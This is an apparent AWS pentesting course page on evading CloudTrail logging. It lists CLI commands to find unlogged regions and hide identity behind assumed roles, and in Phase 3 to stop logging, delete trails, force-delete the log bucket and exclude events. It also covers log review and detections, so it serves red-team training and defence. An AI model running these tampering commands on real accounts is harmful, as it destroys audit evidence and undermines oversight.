> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/06-cloudtrail.md).

# Module 06 — CloudTrail Evasion & Log Tampering

## 🎯 What You'll Learn

* How CloudTrail logging works and what it captures
* How to identify if logging is enabled
* Techniques red teamers use to evade detection
* How to operate stealthily in AWS

***

## 📖 Theory

**CloudTrail** is AWS's audit log service. It records every API call made in an account — who did what, when, from where.

If you're pentesting or doing red team work, understanding what gets logged helps you:

1. Avoid triggering alerts
2. Understand what evidence you'd leave behind
3. Test the defender's detection capabilities

**What CloudTrail logs:**

* Every AWS API call (Console, CLI, SDK)
* The calling identity (user/role ARN)
* Source IP address
* The request parameters
* The response

***

## 🔍 Phase 1 — Check if Logging is Active

```bash
# List all trails in the account
aws cloudtrail describe-trails --profile pentest

# Check if a trail is logging
aws cloudtrail get-trail-status \
  --name arn:aws:cloudtrail:us-east-1:123456789012:trail/main-trail \
  --profile pentest
# Look for: "IsLogging": true/false

# Check which services are being logged (management vs data events)
aws cloudtrail get-event-selectors \
  --trail-name main-trail \
  --profile pentest

# Check for CloudWatch alarms on CloudTrail
aws cloudwatch describe-alarms --profile pentest | grep -i cloudtrail
```

***

## 🕵️ Phase 2 — Evasion Techniques

### Technique 1: Use the AWS Console Instead of CLI

CloudTrail logs CLI calls with `userAgent: aws-cli/...`. Console calls look like `userAgent: signin.amazonaws.com`. Some orgs alert on CLI usage from unfamiliar sources.

### Technique 2: Operate in Regions with No Trails

```bash
# Check which regions have trails
aws cloudtrail describe-trails --include-shadow-trails true --profile pentest

# Find regions with no trail coverage
for region in us-east-1 us-west-2 eu-west-1 ap-southeast-1; do
  echo "=== $region ==="
  aws cloudtrail describe-trails \
    --region $region \
    --profile pentest \
    --query 'trailList[].Name'
done

# Operate in uncovered regions to avoid logs
aws ec2 describe-instances --region ap-southeast-2 --profile pentest
```

### Technique 3: Use Legitimate-Looking Services

CloudTrail doesn't log all service activity equally. Some read-only API calls may not trigger alerts:

```bash
# These are read-only and less likely to alert:
aws s3 ls                     # just listing
aws ec2 describe-instances    # recon, not action
aws iam list-roles            # enumeration

# These will definitely alert in a mature environment:
aws iam create-user           # account creation
aws iam attach-role-policy    # policy change
aws cloudtrail stop-logging   # obvious attack
```

### Technique 4: Minimize API Calls

Each API call is a log entry. Use targeted queries instead of broad enumeration:

```bash
# Noisy: many API calls
aws iam list-users
aws iam list-roles  
aws iam list-groups
aws iam list-policies

# Quieter: one call with Pacu's cached mode
# Pacu can load pre-existing session data instead of re-calling everything
```

### Technique 5: Use Assumed Roles

Assuming a role adds indirection — logs show the assumed role, not your original identity:

```bash
aws sts assume-role \
  --role-arn arn:aws:iam::123456789012:role/SomeRole \
  --role-session-name "legitimate-session-name"
# Use a session name that looks like normal automation
```

***

## 💥 Phase 3 — Disabling/Tampering CloudTrail (Requires Admin)

> This is a **noisy, high-alert action**. Only use in a controlled red team exercise where defenders are expected to detect this.

```bash
# Stop logging on a trail
aws cloudtrail stop-logging \
  --name main-trail \
  --profile pentest
# ⚠️ CloudWatch alarm "CloudTrailChanges" will fire in any mature environment

# Delete a trail entirely
aws cloudtrail delete-trail \
  --name main-trail \
  --profile pentest

# Delete an S3 bucket that holds CloudTrail logs
aws s3 rb s3://cloudtrail-logs-bucket --force --profile pentest

# Modify event selectors to exclude certain services
aws cloudtrail put-event-selectors \
  --trail-name main-trail \
  --event-selectors '[{"ReadWriteType":"None","IncludeManagementEvents":false}]' \
  --profile pentest
```

***

## 🔍 Phase 4 — Read CloudTrail Logs (Defender Perspective)

```bash
# List CloudTrail log files in S3
aws s3 ls s3://cloudtrail-logs-bucket/AWSLogs/123456789012/CloudTrail/ \
  --recursive \
  --profile pentest

# Download logs
aws s3 sync \
  s3://cloudtrail-logs-bucket/AWSLogs/123456789012/CloudTrail/ \
  ./logs \
  --profile pentest

# Query with CloudTrail Insights
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue \
  --profile pentest

# Look for all actions by a specific user
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=dev-user \
  --start-time 2024-01-01 \
  --profile pentest
```

***

## 🛡️ Defenses

| Evasion Technique       | Detection                             |
| ----------------------- | ------------------------------------- |
| Stop logging            | CloudWatch alarm on `StopLogging` API |
| Operate in new region   | Multi-region trail + org trail        |
| Delete S3 logs          | S3 MFA delete + Object Lock           |
| Assume role indirection | Track `assumedRoleId` in logs         |
| Low-noise enumeration   | GuardDuty anomaly detection           |

***

## 📎 References

* [CloudTrail Threat Model](https://www.sans.org/blog/aws-cloudtrail-threat-hunting/)
* [Pacu CloudTrail Module](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details)
* [AWS GuardDuty Findings](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)